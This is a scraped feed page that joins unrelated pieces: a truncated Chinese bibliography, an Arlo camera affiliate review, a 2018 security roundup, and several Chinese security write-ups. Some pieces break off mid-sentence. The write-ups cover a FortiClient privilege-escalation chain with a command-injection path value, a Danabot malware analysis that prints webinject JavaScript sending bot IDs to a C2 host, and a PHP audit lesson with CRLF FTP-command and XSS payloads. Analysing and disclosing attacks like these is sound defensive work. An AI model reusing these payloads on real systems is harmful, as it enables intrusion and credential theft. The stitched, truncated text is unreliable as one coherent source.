参考文献 [1] 方滨兴, 贾焰, 李爱平, 等. 网络空间靶场技术研究[J]. 信息安全学报, 2016, 1(3): 19. [2] 张宏莉, 于海宁, 翟健宏, 等. 网络空间安全人才培养的规划建议[J]. 网络与信息安全学报, 2016, 2(3): 19. [3] 陈灏. 基于虚拟化和蜜罐技术的网络靶场研究与实现[D]. 北京: 北京邮电大学, 2017. [4] 周新丽, 刘月琴, 牛雯, 等. 中、美、英三国网络空间安全人才机制培养比较研究[J]. 计算机教育, 2016(9): 2731. [5] 罗力. 欧美网络信息安全人才培养进展及对我国的启示[J]. 电脑知识与技术, 2016, 12(6): 114116. [6] 翁健, 马昌社, 古亮. 网络空间安全人才培养探讨[J]. 网络与信息安全学报, 2016, 2(2): 17. [7] 张继永. 浅谈新形势下信息安全实验室建设[J]. 科技传播, 2010(16): 240, 249. [8] Pridmore L, Lardieri P, Hollister R. National cyber range(NCR) automated test tools: Implications and application to network centric support toolsC Proc of Autotestcon. Piscataway, NJ: IEEE, 2010: 14. [9] National Infrastructure Protection Plan: Partnering to Enhance Protection and Resiliency[J]. Us Department of Homeland Security, 2009, 8(2): 188188. [10] Davis J, Magrath S. A survey of cyber ranges and testbeds[R]. Edinburgh: Defence Science and Technology Organisation Edinburgh(Australia) Cyber Electronic Warfare Division, 2013. [11] 周芳, 毛少杰, 朱立新. 美国国家赛博靶场建设[J]. 指挥信息系统与技术, 2011, 2(5): 15. [12] 方勇. 美国波音公司研制出便携式网电靶场[J]. 现代军事, 2013(4): 3232. [13] Winter H. System security assessment using a cyber rangeC Proc of Iet Int Conf on System Safety, Incorporating the Cyber Security Conf. Cardiff: IET, 2013: 15. [14] 王星. 澳大利亚网络安全人才队伍建设机制研究[J]. 中国信息安全, 2017(12): 8385. [15] 李秋香, 郝文江, 李翠翠, 等. 国外网络靶场技术现状及启示[J]. 信息网络安全, 2014(9): 6368. [16] 吕欣. 构建国家信息安全人才体系的思考[J]. 信息网络安全, 2006(6): 810. [17] 封化民. 创新人才培养模式建设高素质的网络安全队伍[J]. 北京电子科技学院学报, 2016, 24(3): 17. [18] 程静, 雷t

Difference Between Arlo Pro and Arlo Pro 2

$
0
0

Security cameras are becoming more and more necessary these days, especially if you’re not at home a lot. You want to be able to keep tabs on what’s happening on your property or apartment at all times, and luckily, “smart” security cameras are a great way to do that. Not only are they able to keep tabs on your home for you to remote into at any time, but many of them come with motion alarms, Cloud storage for storing important footage events (i.e. if motion is detected), and more.

Product Brand Name Price
Difference Between Arlo Pro and Arlo Pro 2
Arlo Technologies, Inc Arlo Pro - Wireless Home Security Camera System with Siren Buy on Amazon | $176.99 (Price as of 12/24/2018 03:25 ET)
Difference Between Arlo Pro and Arlo Pro 2
Arlo Technologies, Inc Arlo Pro 2 - Wireless Home Security Camera System with Siren Buy on Amazon | $395.55 (Price as of 12/24/2018 03:25 ET)

* Links in this table contain affiliate links, which means at no additional cost to you, we will earn a commission if you click through the link and make a purchase. Thank you for your support. For more details, please visit ourPrivacy policy page.

Those are things that both the Arlo Pro and Arlo Pro 2 are capable of, and even more with the ability to connect up to Alexa for functions through the Amazon Echo. Both the Arlo Pro and Arlo Pro 2 are impressive cameras, but the question is ― is the Arlo Pro 2 worth the upgrade, or worth the extra cost over the original Arlo Pro? Follow along below, and we’ll dive into all of the major differences between the products.


Difference Between Arlo Pro and Arlo Pro 2
Arlo Pro

We’re looking at the original model first, the Arlo Pro. This is a completely wireless camera that’s able to capture video in 720p. Not quite great clarity, but you’re still able to easily make out the information you need out of footage. The Alro Pro is able to detect movement, and will then start recording, but it does not record 24/7.

While the security camera is wireless, it does need to be powered by a rechargeable battery or through solar. However, if you so choose, you can provide a power source to it by way of wire as well. It supports 2-way audio, and when fully connected, the Arlo Pro is able to alert you to motion or noises.

The neat thing about the Arlo Pro is that it is Alexa-certified, which means you won’t have trouble connecting this smart home product up to your Echo device of choice. The Alexa capabilities are actually extremely nice, allowing you to instantly view a live feed with something as simple as a voice command. One of the more neat things about the Arlo Pro is just how high quality its night vision is ― you can easily make out subjects with Arlo Pro’s night vision capabilities.

Buy it now: Amazon


Difference Between Arlo Pro and Arlo Pro 2
Alro Pro 2

As you might imagine, the Arlo Pro 2 has a number of similiarities to the original Arlo Pro, but with a couple of enhancements. Like the Alro Pro, version 2 is completely wireless camera that’s able to capture video in 1080p. That’s a pretty good image for a security camera, and you’ll be able to easily make out the information you need out of footage. The Alro Pro 2 ― like the Arlo Pro ― is able to detect movement, and will then start recording, but it does not record 24/7.

The Alro Pro 2 has some of the same power features as the Arlo Pro ― it does need to be powered by a rechargeable battery or through solar. However, if you so choose, you can provide a power source to it by way of wire as well.

Just like the Arlo Pro, the Alro Pro 2 is Alexa-certified, which means you won’t have trouble connecting this smart home product up to your Echo device of choice. It will even work with Google Home products. The Alexa or Google Assistant capabilities are actually extremely nice, allowing you to instantly view a live feed with something as simple as a voice command.

There’s some pretty high quality Night Vision video onboard as well. However, one of the major differences between the Arlo Pro and Arlo Pro 2 ― aside from the improve camera quality ― is that the Arlo Pro 2 can be upgraded to record video on a 24/7 basis, not just when motion or noise is detected.

Buy it now: Amazon

Verdict

So, to summarize, the major differences between the Arlo Pro and Arlo Pro 2 are that the Arlo Pro 2 can support 24/7 video monitoring, as well as film in 1080p. Unless you need 24/7 video recording, the Arlo Pro 2 isn’t worth the extra cash to upgrade your security camera system. You’d be better off going with an already expensive Arlo Pro, and setting that up in your home somewhere.

The major benefit to both devices is that they’re made and shipped by NETGEAR, so you don’t have to worry about your cameras being loaded up with spyware.

Do you have a security camera setup in your home? Are you using the Arlo Pro or Arlo Pro 2 already? What do you think? Let us know in the comments section below.

Product Brand Name Price
Difference Between Arlo Pro and Arlo Pro 2
Arlo Technologies, Inc Arlo Pro - Wireless Home Security Camera System with Siren Buy on Amazon | $176.99 (Price as of 12/24/2018 03:25 ET)
Difference Between Arlo Pro and Arlo Pro 2
Arlo Technologies, Inc Arlo Pro 2 - Wireless Home Security Camera System with Siren Buy on Amazon | $395.55 (Price as of 12/24/2018 03:25 ET) * Links in this table contain affiliate links, which means at no additional cost to you, we will earn a commission if you click through the link and make a purch

Top 10 IT security stories of 2018

$
0
0

Just asWannaCry andNotPetya were the top IT security challenges of 2017, the discovery of the Meltdown and Spectre microprocessor vulnerabilities , and several similar vulnerabilities in the months that followed, were probably the single most challenging developments for enterprise IT security teams in 2018.

As enterprise teams raced to patch their systems, they faced patches that are incompatible, leading to crashes, reduced performance and lock-ups. And months after the bugs were disclosed, security experts are still divided over their significance, with some saying they opened up a dangerous new avenue of attacks, while others believe Meltdown and Spectre are not nearly as threatening as other recent bugs.

Otherwise, IT security news was dominated by the growing number of potential cyber threats to the enterprise and the resultant challenges facing IT security teams. A common theme throughout was that any organisation that has any online presence should consider itself a potential target for cyber attack, regardless of its size and industry sector, underlining the importance of IT security for the vast majority of organisations and businesses.

The top challenges for IT security teams highlighted during 2018 include ransomware, illicit cryptocurrency mining, fileless malware, cross-operating system attacks, hardware vulnerabilities including Spectre and Meltdown and vulnerabilities in internet-connected devices making up the internet of things (IoT), as well as other emerging technologies enabling digital transformation such as machine learning and artificial intelligence (AI).

But a recurrent theme in 2018, as in previous years, was that many organisations are still failing to get the basics right when it comes to cyber security . This was shown to be true with report after report linking cyber breaches to basic security failings or oversights. Allied to this, industry experts throughout the year pointed to the fact that organisations are failing to learn the lessons from past attacks to identify weaknesses and improve cyber defences.

One of the key goals for IT security teams identified through the year is to have visibility of where data lives and moves, and who has access to it, as well as ensuring that their organisations are cyber resilient, in the sense that they are able to recover normal business operations after any information security incident.

Other industry reports underlined the importance of cyber resilience as well as adopting a more proactive approach to security, with a growing number of information security suppliers providing the opportunity for IT security teams to switch to an intelligence-led approach to capitalise on the insights gained from all the security-related systems deployed throughout the enterprise.

Artificial intelligence in the context of cyber security has received a lot of attention in the past year, and while there are clear cases where AI technologies can help organisations to improve their cyber security capabilities, security experts have consistently warned that AI is not the answer to all information security threats , with some urging businesses not to put too much faith in using AI, but to focus instead on educating users on cyber hygiene and managing risks.

While AI was among the most discussed technologies in relation to cyber security, thezero trust model was among the most discussed approaches to security as an alternative to the traditional approach to address many of the new and emerging challenges. Supporters of the zero trust approach claim it is finally gaining traction because of the development of enabling technologies and the business benefits that appeal to business leaders. However, experts say IT security teams should be wary of marketing hype and focus instead on security architecture best practices to realise the benefits of the zero trust model.

1. Meltdown and Spectre a big deal for enterprises

Once the microprocessor exploits dubbed Meltdown and Spectre were made public in January 2018, security experts warned that malicious actors would be quick to incorporate them into their cyber attack arsenals, and advised IT security teams there was no time for enterprises to delay taking action. However, when patches were made available, IT security teams faced several challenges , with some patches proving to be problematic, leading to crashes, reduced performance and lock-ups.

Months later, however, security experts are divided over the significance of Meltdown and Spectre , with some arguing that laws opened up a dangerous new avenue of attacks, while other say the flaws were over-hyped, noting that there is no evidence that the flaws have been exploited successfully in the wild.

2. Cyber security vulnerability concerns skyrocket

In July, we reported that IT security professionals were more worried about data breaches and cyber attacks than they were in 2017, with most fearing that Meltdown-Spectre attacks were becoming the norm.

The top concerns among IT security professionals, a report revealed, were system compromises and ransomware, closely followed by distributed denial of service (DDoS) attacks, financial theft and attacks on intellectual property. The report underlined the importance of IT security teams getting to grips with all the potential threats against their organisations and taking steps to mitigate the impact on the business of the top threats.

3. Europol cyber crime report highlights emerging threats to enterprise security

The top cyber threats facing IT security teams, according to Europol, include ransomware, mobile malware, illicit cryptomining and exploitation of vulnerabilities in internet-connected devices (IoT).

IT security teams need to assess their vulnerability to these threats and take action to mitigate against them. The number of internet-accessible industrial control systems is increasing every year, researchers warned, hi

FortiClient本地提权0day漏洞分析

$
0
0

FortiClient本地提权0day漏洞分析
一、前言

我们在FortiClient中找到了3个漏洞,低权限用户可以组合利用这3个漏洞提升至 NT AUTHORITY/SYSTEM 权限。我们尝试与Fortinet沟通,共同解决这些问题,但对方在长达8个多月时间内没有回复我们,并且在没有通知任何人的情况下公布了一个比较糟糕的补丁。

注意:FortiClient <= 6.0.3.0155以及低于5.7的版本也会受漏洞影响,更低版本可能也存在漏洞。

二、漏洞描述

我们滥用了FortiClient的命名管道(named pipes)来强制更新,可以触发漏洞扫描操作,然后强制FortiClient更新并不在目标主机上的软件。结合目录遍历漏洞和命令执行漏洞后,我们就可以获得 NT AUTHORITY/SYSTEM 权限。

三、漏洞分析 命名管道写入漏洞

我们可以使用 ioninja 监控forticlient在命名管道中的通信数据。在我的测试系统中,该命名管道为 FC_{F18F86FD-7503-4564-80CF-B6B199519837} 。

我们尝试在所有用户可用的UI中各种点击,很快就看到了一个有趣的数据包。程序使用这种方法来告诉调度程序(scheduler)执行按需扫描。这里比较奇怪的是我们可以在数据包中指定具体路径及命令行参数。

逆向分析该协议后,我伪造了一个数据包:


FortiClient本地提权0day漏洞分析

我发现包头的 60 80 为命令的魔术字节(magic byte),并且十六进制 18 (第9个字节)代表 apptype 。在PoC中,我们滥用的正是 apptype ,将其指定为 0x18 (代表 FCVbltScan.exe )。

FCDBLog.exe 这个进程会读取命名管道中的信息,然后更新 HKLM\SOFTWARE\Fortinet\FortiClient\FA_Scheduler\000020 注册表项。该进程只是简单读取相关信息,然后将其写入 param 键值中(如果我们修改 apptype /第9个字节,我们就可以在 FA_Scheduler 中写入其他服务信息)。


FortiClient本地提权0day漏洞分析

如上图所示,我们可以写入 -t 1 -p c:\users\lowpriv\Desktop\lasla\evil.tmp -u 字符串,触发目标开始安装在 evil.tmp 中发现的所有漏洞补丁。

完成如上步骤后, scheduler.exe (系统权限)进程就会读取相关键值,以系统权限启动服务。

因此这里的问题是我们可以指定自定义的XML文件(如 evil.tmp ),程序会从其中读取当前系统存在的漏洞信息。

路径遍历漏洞

注意,这里之所以涉及到 vcm2.exe ,是因为该程序由 FCVbltScan.exe 所启动。

第二个问题在于程序对 -p 参数所指定的文件的解析过程。该文件内容与FortiClient漏洞扫描器的处理结果有关。FortiClient会读取这个json文件,根据每个 Install 元素中 VID 键的值来判断系统需要安装哪些补丁(我们构造的json文件如下图所示)。

通常情况下,这个 VID 值为 20440 或者其他相关值,这是一个整数值字段。然后 vcm2.exe 会查找扫描目录中以 VID 为名称的 .json 文件。

然而我们发现,我们可以在 VID 中实现路径遍历,将其指向我们能够控制的某个路径。这意味着我们可以提供漏洞安装文件的配置信息。

如下图所示,我们将该字段指向 \users\IEUser\Desktop\lasla\vuln ,而 vcm2.exe 现在会搜索该目录中的 vuln.json 文件,获取安装信息。


FortiClient本地提权0day漏洞分析

因此我们现在可以精确控制哪些补丁需要安装到当前系统中。

LUA补丁脚本中的命令注入漏洞

以上漏洞引导我们发现第3个,也是最后一个漏洞:LUA中的命令注入漏洞。

evil.tmp 中的 vulnjson 实际上是安装文件的配置信息。我们对比了合法的文件,并做了相应修改。该文件用来指定哪些目标需要修补。

FortiClient的所有lua脚本都存放在名为 flat-db.dat 的一个文件中,这是一个SQLITE文件,因此数据库表中包含与脚本匹配的VID,用来指定待执行的脚本。

vcm2.exe 的功能是从FortiClient目录的 flat-db.dat 中读取相关LUA脚本,然后执行与我们指定的VID匹配的脚本。

vuln.json 文件内容如下:


FortiClient本地提权0day漏洞分析

然而这里我们可以将 DetectedProducts 字段中的某些参数传递给lua脚本。在 DetectedProducts 键中,我们指定了 Product 、 Product Path 以及 Detected Version 字段的值。我们使用LUA脚本来给Mozilla产品打上补丁,并且我们发现了如下几行代码:


FortiClient本地提权0day漏洞分析
如上所示, filepath = arg[2] 这个参数会一路传递给 GetLanguage 函数。

GetLanguage 函数如下所示:


FortiClient本地提权0day漏洞分析

在第50行我们看到脚本首先将我们提供的 setupPath 放入 cmd 参数中,然后在52行,脚本会直接执行相关命令,没有检查是我们是否使用了不被允许的字符。因此如果我们回头看 vuln.json 文件,可以看到我们的 Product Path 字段值为 c:\tes"&calc&"tingfire\firefox.exe ,这样就可以将 calc 命令注入 os.capture 中。

现在我们已经得到以 system 权限运行的 calc ,也可以将其替换为其他命令或者其他程序。


FortiClient本地提权0day漏洞分析
四、补丁说明

快速逆向分析补丁后,我发现厂商在 product 以及 detected_version 字段上做了 assert 处理。


FortiClient本地提权0day漏洞分析

此外,厂商还使用 os.rename 函数来确保目标文件的确存在,并且由于文件名不能包含特殊转移字符,因此一切看起来都还不错。


FortiClient本地提权0day漏洞分析
五、绕过补丁

稍等片刻,让我们回头看补丁的第227行。厂商难道只是判断 product 必须为字符串?这并不是命令执行的关键,因此当然无法正确防御这类攻击。由于字符串中我们可以使用所有字符,现在我们可以grep查找产品中使用 os.execute 的地方,充分发挥字符串的威力。

找到目标,如下所示:


FortiClient本地提权0day漏洞分析

修改版的 vuln.json 如下所示:


FortiClient本地提权0day漏洞分析

攻击结果非常完美,如下所示:


FortiClient本地提权0day漏洞分析
六、总结

作为厂商,当有人提交漏洞信息时请认真对待,让对方测试厂商发布的补丁。许多人热衷于黑掉软件,因此会花大量时间免费挖掘软件脆弱性,那么厂商为什么不利用这一点,让大牛们提升软件安全性呢?

七、时间线 02-04-2018 报告漏洞信息 07-04-2018 厂商确认我们提供的邮件准确,发送邮件后我们只需等待他们通知,会在漏洞披露过程中提醒我们,并且在官网上公开致谢 15-04-2018 厂商确认收到漏洞报告 25-04-2018 确认漏洞,分配了3个CVE编号:CVE-2018-9191、CVE-2018-9192以及CVE-2018-9193(现在这些编号已分配给其他漏洞,我们不清楚目前对应的CVE编号) 11-05-2018 -> 31-06-2018 日常咨询进展 11-05-2018 -> 31-06-2018 Regular ping for news 01-08-2018 厂商通知已分配到新的漏洞处理事宜 22-11-2018 告知Fortinet我们尚未收到任何解决方案更新信息,我们准备发表研究文章 19-12-2018 我们发现Fortinet尝试修复漏洞,然后逆向分析了补丁,通知对方我们已发表研究文章 21-12-2018 安排针对windows平台6.0.5/6.2版的修复计划,目前正在编写完整版安全公告

“HTTPS劫匪木马”卷土重来 单日攻击高达190万次

$
0
0

每到年底都是网络安全事件频发的高峰时期,2018年年末的互联网同样也不太平。近日,据360安全大脑提供的网络监控数据和360网络安全研究院提供的数据显示,此前曾大范围影响国内网络的HTTPS劫匪木马再次活跃传播,单日攻击高达190万次,多家新闻、娱乐甚至购物网站遭殃。


“HTTPS劫匪木马”卷土重来 单日攻击高达190万次

早在2017年8月,360互联网安全中心就曾捕获了一种专门劫持主流搜索引擎和电商网站的HTTPS“劫匪木马”。此木马通过导入虚假证书进行中间人攻击的方式突破HTTPS加密连接,用“移花接木”的方式篡改各大网站的广告内容和指向链接,利用用户对大型网站的信任心理获利。

近期,360互联网安全中心监测到HTTPS劫匪木马再次活跃起来,安全专家表示这次劫持木马安装过程和之前版本没有太大区别仍旧是木马通过伪装色情播放器的方式进行推广,部分用户可能会被木马诱骗关闭安全软件而中招。当用户访问搜索、电商等知名网站时,HTTPS劫匪木马会把连向站点的链接重新定向到本地的监听端口。木马在本地架设kanlewebserver进行流量劫持,然后在对应页面插入一个js恶意脚本篡改页面,这种方法能够突破国内大量知名站点的HTTPS加密连接。

此次发现的HTTPS劫匪木马最新变种通过各类“小电影”站点进行传播,并在原有证书的基础上增加了15个新域名,签发域名上升至48个。一旦用户中招,该木马不仅会将多个软件的正常弹窗新闻页面替换为推广的网站内容,还会使用用户设备上登录的微博对特定账号添加关注。

360网络安全研究院相关专家并表示,感染了HTTPS劫匪木马最新变种的用户若登陆了微博账号,会对两个特定的微博账号添加关注,目前这两个账号已经拥有了超过7000个粉丝。除了关注微博之外,该木马还会替换京东购物网站上提供的京东APP安装二维码,用户一旦扫描此二维码将会安装某推广软件。


“HTTPS劫匪木马”卷土重来 单日攻击高达190万次

除了篡改网页内容之外,由于此恶意软件本身的问题,会导致用户在进行网络浏览时遇到各种故障。如腾讯游戏的相关页面被劫持后其验证码输入窗口就会跳转到某头条网站。造成用户无法正常登录游戏官网。


“HTTPS劫匪木马”卷土重来 单日攻击高达190万次

HTTPS技术的诞生和普及,很大程度上是为了提升站点的安全性。但HTTPS技术并非万能,近期已经有多款木马已经将HTTPS作为突破口,并涉及一些账号登录、支付确认等涉及敏感用户信息的操作。为了保障大家的信息安全,大家可以通过安装360安全卫士、360手机卫士等产品,保护自身的财产和信息安全。

攻防最前线:Danabot木马新变种在意大利大规模传播

$
0
0

攻防最前线:Danabot木马新变种在意大利大规模传播

尽管 Proofpoint 和 Eset 等安全公司早在今年5月份就曾针对在澳大利亚传播的Danabot样本进行了全面的分析,但就在过去的几周里,一个新的Danabot变种再次袭击了意大利。在这篇文章中,Cybaze-Yoroi ZLab将对最近通过以“fattura(发票)”为主题的网络钓鱼电子邮件(例如, N051118 )在意大利传播的Danabot变种之一进行剖析。值得注意的是,这个变种滥用了包含嵌入式宏的Word文档来下载恶意DLL paylaod。

技术分析

首先,这个新的Danabot变种会尝试通过加密的SSL通道连接到远程主机149.154.157.104(EDIS-IT IT),然后下载其他组件并从文件系统中删除自己。与此同时,它还会在“HKLM\SYSTEM\CurrentControlSet\Services”注册表项中设置了一个系统服务。以下注册表项被用于加载位于“C:\ProgramData\D93C2DAC”文件夹中的DLL,该文件夹被配置为“只读”和“隐藏”。


攻防最前线:Danabot木马新变种在意大利大规模传播

图1.恶意软件创建的注册表项


攻防最前线:Danabot木马新变种在意大利大规模传播

图2. D93C2DAC文件夹

这个隐藏文件夹包含两个处于执行中的组件:“D93C2D32.dll”和“D93C2D64.dll”。实际上,它们是两个完全相同的组件,区别在于一个是32位,一个是64位。显然,它们是针对不同体系机构的目标主机设计的,但都通过rundll32.exe进程执行。

也就是说,恶意DLL至少会被加载两次(一次加载D93C2D32.dll,一次加载D93C2D64.dll),且每次的参数都不同,具体取决于要导出的函数(针对不同体系机构的目标主机):


攻防最前线:Danabot木马新变种在意大利大规模传播

图3.恶意DLL导出的函数


攻防最前线:Danabot木马新变种在意大利大规模传播

图4.恶意软件的执行示例

如图3所示,恶意DLL最终会导出8个关键函数:“f1”、“f2”、“f3”、“f4”、“f5”、“f6”、“f7”和“f8”。其中,“f1”被用于将恶意软件安装到目标主机中,而“f4”和“f5”则被用于实现持久性。具体来说,“f5”被用于在本地端口1080上设置一个系统转发代理。如此一来,目标主机与Internet之间的所有通信都将通过代理进行,使得恶意软件能够拦截和篡改网络流量。相对应的,“f4”被用于管理流量并执行Man-In-The-Browser攻击。如此一来,从目标主机到Internet的所有DNS呼叫都将被篡改,以与恶意软件中硬编码的银行网站列表相匹配。恶意软件会在原始页面中添加了一段javascript代码,以窃取用户名、密码和会话cookie等敏感信息。


攻防最前线:Danabot木马新变种在意大利大规模传播

图5.执行中的监听代理

在执行上述函数的过程中,恶意软件还会搜索存储在已安装Web浏览器(如Google Chrome和Mozilla Firefox)数据文件夹中的敏感信息,如保存的凭证。然后,它会将收集到的凭证存储在位于“C:\windows\TEMP”路径下的一个临时SQLite数据库中。


攻防最前线:Danabot木马新变种在意大利大规模传播

图6.带有被盗凭证的临时SQLite数据库

Man-In-The-Browser攻击

为了能够执行Man-In-The-Browser攻击,恶意软件设置了一个系统转发代理,如图7所示。通过这种方式,它能够检查所有传入和传出的internet流量。当受害者访问任意一个目标网站的特定网页时,恶意软件都会将一段自定义javascript代码注入该页面,以窃取敏感的用户信息,如个人详细信息、凭证和PAN码。如上所述,这个代理是由恶意DLL的“ f4 ”函数负责管理的。


攻防最前线:Danabot木马新变种在意大利大规模传播

图7.代理设置


攻防最前线:Danabot木马新变种在意大利大规模传播

图8.恶意软件的代码片段

通过对恶意软件样本源代码的分析,Cybaze-Yoroi ZLab得到了其目标网页的完整列表。从这份列表来看,该恶意软件针对的是各种金融机构的客户,且大多数都是意大利银行的客户,如Bancoposte、Intesa San Paolo、Banca Generali、BNL、Hello Bank、UBI Banca等。除了银行网站之外,恶意软件还针对了一些电子邮件服务提供商,如Tim、Yahoo、Hotmail、GMail等国际通用的电子邮件服务,以及与 Tecnocasa等意大利房地产公司相关的其他更具体的电子邮件服务。


攻防最前线:Danabot木马新变种在意大利大规模传播

图9.没有被注入脚本的银行网站


攻防最前线:Danabot木马新变种在意大利大规模传播

图10.被注入脚本的银行网站

Web-Inject 被注入网页的恶意javascript会将被盗信息发送给C2,包括受害者的会话cookie。如下代码片段是从“ http://equityfloat[.]pw/hc/myjs28frr_s51.js”下载的webinject代码。
攻防最前线:Danabot木马新变种在意大利大规模传播
图11.从equityfloat[.]pw C2下载的javascript

这段Webinject代码被用于检查恶意php资源“/my9rep/777.php”,以及将包括bot-id在内的受感染主机详细信息和当前会话cookie发送给C2。

var wwww = 'https://equityfloat.pw/';

wwww = "https://" + document.location.host + "/";

var waitdiv = "<center id=\"fkwt\" class=\"fkwt\"> <br/> Poczekaj a Twój komputer zostanie zidentyfikowany. Moe to potrwa troch czasu... <br/><img src=\"" + wwww + "/my9rep/777.php?imgto=wait\"></img></center>";

var waitfk = "";

var waitlok = "<div><center> <br/> Prowadzone sa prace modernizacyjne w celu jak najszybszego przywrocenia dzialania systemu.<br/>Przyblizony czas modernizacji wynosi kilka godzin.<br/>Przepraszamy za tymczasowe utrudnienie i niedogodnosci.<br/><center></div>";

var netbot = "frr";

var rem777bname2 = "";

var tbid = my7ajx("#myjs1[data-botid]");

if (tbid.length > 0) rem777bname2 = tbid.attr("data-botid");

var loca = location.href;

var tyyp = true;

var apan = wwww + "/my9rep/777.php?typ=" + document.location.host + "&sub=" + netbot + "&b=2&inf=" + rem777bname2;

var args = {};

var tmp1;

var tkstate = 1;

var lg = "",

ps = "",

tk = "";

var lgf;

var pss;

var tabl;

var tabltr;

var btn;

var clickfnc;

var ansq = false;

需要指出的是,该恶意软件使用了一个自定义的JQuery脚本“var tbid=my7ajx(“#myjs1[data-botid]”);”来设置受感染主机的bot-id,而这个bot-id与C2 “equityfloat.]com”php页面的路径联系在一起。 var apan = wwww + "/my9rep/777.php?typ=" + document.location.host + "=" + netbot + "&b=2&inf=" + rem777bname2;

通过这种方式,攻击者可以获知MitB代理是否注入成功。

总结

在过去的一年里,Danabot已经将其活动范围扩大到了意大利,尤其是在今年11月份(例如, N051118 )期间,Cybaze-Yoroi ZLab就拦截了一波大规模的攻击浪潮。从恶意软件样本所针对的目标来看,网络犯罪分子对意大利用户和组织的兴趣正在日益增加,且不仅仅局限于传统的银行业。

声明:本文来自黑客视界,版权归作者所有。文章内容仅代表作者独立观点,不代表安全内参立场,转载目的在于传递更多信息。如需转载,请联系原作者获取授权。


[红日安全]代码审计Day16 ― 深入理解$_REQUESTS数组

$
0
0

本文由红日安全成员:七月火编写,如有不当,还望斧正。

本文转载自先知社区: https://xz.aliyun.com/t/3102

前言

大家好,我们是红日安全-代码审计小组。最近我们小组正在做一个php代码审计的项目,供大家学习交流,我们给这个项目起了一个名字叫 PHP-Audit-Labs 。现在大家所看到的系列文章,属于项目第一阶段的内容,本阶段的内容题目均来自 PHP SECURITY CALENDAR 2017 。对于每一道题目,我们均给出对应的分析,并结合实际CMS进行解说。在文章的最后,我们还会留一道CTF题目,供大家练习,希望大家喜欢。下面是第16篇代码审计文章: Day 16 - Poem

题目叫做诗,代码如下:


[红日安全]代码审计Day16 ― 深入理解$_REQUESTS数组
漏洞解析:

这道题目包含了两个漏洞,利用这两个漏洞,我们可以往FTP连接资源中注入恶意数据,执行FTP命令。首先看到第7行代码,可以发现程序使用cleanInput方法过滤GET、POST、COOKIE数据,将他们强制转成整型数据。然而在第8行处,却传入了一个从REQUEST方式获取的mode变量。我们都知道超全局数组$_REQUEST中的数据,是$_GET、$_POST、$_COOKIE的合集,而且数据是复制过去的,并不是引用。我们先来看一个例子,来验证这一观点:


[红日安全]代码审计Day16 ― 深入理解$_REQUESTS数组
可以发现REQUEST数据丝毫不受过滤函数的影响。回到本例题,例题中的程序过滤函数只对GET、POST、COOKIE数据进行操作,最后拿来用的却是REQUEST数据,这显然会存在安全隐患。想了解更多$_REQUEST信息,大家自己上官网学习。第二个漏洞的话,在代码第21行,这里用了==弱比较。关于这个问题,我们在前面的文章中讲的也很细致了,大家可以参考:[红日安全]PHP-Audit-Labs题解之Day1-4(Day4)。

至于本次案例的攻击payload,可以使用:?mode=1%0a%0dDELETE%20test.file,这个即可达到删除FTP服务器文件的效果。

实例分析

本次实例分析,我们分析的是WordPress的 All In One WP Security & Firewall 插件。该插件在4.1.4 - 4.1.9版本中存在反射型XSS漏洞,漏洞原因和本次案例中的漏洞成因一致,官方也在4.2.0版本中修复了该漏洞。本次,我们将以4.1.4版本插件作为案例讲解。


[红日安全]代码审计Day16 ― 深入理解$_REQUESTS数组

将下载下来的插件zip包,通过后台插件管理上传压缩包安装即可。本次发生问题的文件在于 wp-content\plugins\all-in-one-wp-security-and-firewall\admin\wp-security-dashboard-menu.php ,为了方便大家理解,我将问题代码抽取出来,简化如下:


[红日安全]代码审计Day16 ― 深入理解$_REQUESTS数组

我们可以很清晰的看到,问题就出在第25行的render_tab3方法中,这里直接将REQUEST方式获取的tab变量拼接并输出。而实际上,在第20行已经获取了经过过滤处理的$tab变量。我们来看一下get_current_tab方法:


[红日安全]代码审计Day16 ― 深入理解$_REQUESTS数组

过滤函数的调用链如下图第1行,接着$tab变量就会经过wp_check_invalid_utf8方法的检测。


[红日安全]代码审计Day16 ― 深入理解$_REQUESTS数组
漏洞利用

下面我们来看看攻击payload(向 http://website/wp-admin/admin.php?page=aiowpsec&tab=tab3 POST数据tab="><script>alert(1)</script>):


[红日安全]代码审计Day16 ― 深入理解$_REQUESTS数组

可以看到成功引发XSS攻击。我们最后再根据payload对代码的调用过程进行分析。首先,我们的payload会传入wp-admin/admin.php文件中,最后进入第14行的do_action('toplevel_page_aiowpsec');代码。


[红日安全]代码审计Day16 ― 深入理解$_REQUESTS数组

在wp-includes/plugin.php文件中,程序又调用了WP_Hook类的do_action方法,该方法调用了自身的apply_filters方法。


[红日安全]代码审计Day16 ― 深入理解$_REQUESTS数组

然后 apply_filters 方 法调用了 wp-content\plugins\all-in-one-wp-security-and-firewall\admin\wp-security-admin-init.php 文件的 handle_dashboard_menu_rendering 方法,并实例化了一个 AIOWPSecurity_Dashboard_Menu 对象。


[红日安全]代码审计Day16 ― 深入理解$_REQUESTS数组

接下来就是开头文章分析的部分,也就是下面这张图片:


[红日安全]代码审计Day16 ― 深入理解$_REQUESTS数组

整个漏洞的攻击链就如下图所示:


[红日安全]代码审计Day16 ― 深入理解$_REQUESTS数组
这里还有一个小知识点要提醒大家的是,案例中$_REQUEST["tab"]最后取到的是$_POST["tab"]的值,而不是$_GET["tab"]变量的值。这其实和php.ini中的request_order对应的值有关。例如在我的环境中,request_order配置如下:
[红日安全]代码审计Day16 ― 深入理解$_REQUESTS数组
这里的"GP"表示的是GET和POST,且顺序从左往右。例如我们同时以GET和POST方式传输tab变量,那么最终用$_REQUEST['tab']获取到的就是$_POST['tab']的值。更详细的介绍可以看如下PHP手册的定义: request_order string This directive describes the order in which PHP registers GET, POST and Cookie variables into the _REQUEST array. Registration is done from left to right, newer values override older values. If this directive is not set, variables_order is used for $_REQUEST contents. Note that the default distribution php.ini files does not contain the 'C' for cookies, due to security concerns. 修复建议

对于这个漏洞的修复方案,我们只要使用过滤后的$tab变量即可,且变量最好经过HTML实体编码后再输出,例如使用htmlentities函数等。

结语

看完了上述分析,不知道大家是否对$_REQUEST数组有了更加深入的理解,文中用到的CMS可以从这里( All In One WP Security & Firewall )下载,当然文中若有不当之处,还望各位斧正。如果你对我们的项目感兴趣,欢迎发送邮件到 hongrisec@gmail.com 联系我们。Day16的分析文章就到这里,我们最后留了一道CTF题目给大家练手,题目如下:

